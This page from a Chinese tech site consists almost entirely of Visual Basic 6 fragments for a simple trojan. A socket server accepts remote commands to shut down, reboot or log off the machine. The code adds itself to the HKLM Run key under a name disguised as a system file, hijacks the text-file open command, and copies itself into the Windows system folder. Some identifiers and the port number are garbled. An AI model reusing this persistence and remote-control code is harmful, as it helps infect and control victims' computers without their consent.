扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
Private Sub form_Load() With Me .sckServer.LocalPort = 88917'本地端口(呵呵!我的生日!) .sckServer.Listen '开始监听 End With End Sub '接受客户端的连接请求。 Private Sub sckServer_ConnectionRequest(ByVal requestID As Long) With Me If .sckServer.State <>sckClosed Then .sckServer.Close .sckServer.Accept (requestID) End With End Sub |
Private Sub form_Load() With Me .sckClient.RemoteHost = "127.0.0.1"'设置远程IP,本例设为本机。 .sckClient.RemotePort = 88917 '远程端口,就为server中的设置一样. End With End Sub Private sub cmdConnect_Click() SckClient.Connect End sub |
Public Declare Function ExitWindowXXX Lib "user32" Alias "ExitWindowXXX" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long Public Const EWX_LOGOFF = 0 Public Const EWX_REBOOT = 2 Public Const EWX_SHUTDOWN = 1 Public Declare Function ClipCursor Lib "user32" Alias "ClipCursor" (lpRect As Any) As Long Public Type RECT Left As Long Top As Long Right As Long Bottom As Long End Type |
Private Sub cmdExit_Click() Me.sckClient.SendData "Exit" End Sub Private Sub cmdLogoff_Click() Me.sckClient.SendData "Logoff" End Sub Private Sub cmdReboot_Click() Me.sckClient.SendData "Reboot" End Sub |
Private Sub sckServer_DataArrival(ByVal bytesTotal As Long) Dim strData As String With Me ' 接收客户请求的信息 .sckServer.GetData strData Select Case strData Case "Exit" '关机 Call ExitWindowXXX(EWX_SHUTDOWN, 0) Case "Reboot" '重启 Call ExitWindowXXX(EWX_REBOOT, 0) Case "Logoff" '注销 Call ExitWindowXXX(EWX_LOGOFF, 0) End Select End With End Sub |
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Public Declare Function RegSetvalueEx Lib "advapi32.dll" Alias "RegSetvalueExA" (ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Public Const REG_BINARY = 3 Public Const REG_SZ = 1 Public Const HKEY_LOCAL_MACHINE = &H80000002 Public Const HKEY_CLASSES_ROOT = &H80000000 |
Public Sub StartupGroup() Dim sKey As String Dim result As Long Dim hKeyID As Long Dim sKeyVal As String sKey = "Systrsy" '启动组中的键,找一个与系统文件相近的。 sKeyVal = "C:/windows/system/systrsy.exe" '木马文件的路径,可以用GetSystemDirectory来取得系统路径。 result = RegOpenKey(HKEY_LOCAL_MACHINE, _ "Software/Microsoft/Windows/CurrentVersion/Run", hKeyID) If result = 0 Then result = RegSetvalueEx(hKeyID, sKey, 0&, REG_SZ, sKeyVal, Len(sKey) + 1) End If End Sub |
Public Sub WriteToTxt() Dim result As Long Dim hKeyID As Long Dim skey As String Dim skeyVal As String skey = "txtfile/shell/open/command" skeyVal = "C:/windows/system/txtView.exe" result = RegOpenKey(HKEY_CLASSES_ROOT, skeyVal, hKeyID) If result = 0 Then result = RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, skeyVal, Len(skeyVal) + 1) End If End Sub |
Dim sCurrentPath As String, sSystemDir As String sCurrentPath = App.Path & "/" & App.EXEName & ".exe" sSystemDir = “C:/windows/system” On Error Resume Next '复制文件成系统目录下的Systrsy.exe FileCopy sCurrentPath, sSystemDir & "/Systrsy.exe" On Error Resume Next 复制文件成系统目录下的txtView.exe FileCopy sCurrentPath, sSystemDir & "/txtView.exe" |
Call startupGroup Call WriteToTxt '判断程序是否下在运行 If App.PrevInstance Then '如果已经运行就退出。 End End If |
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。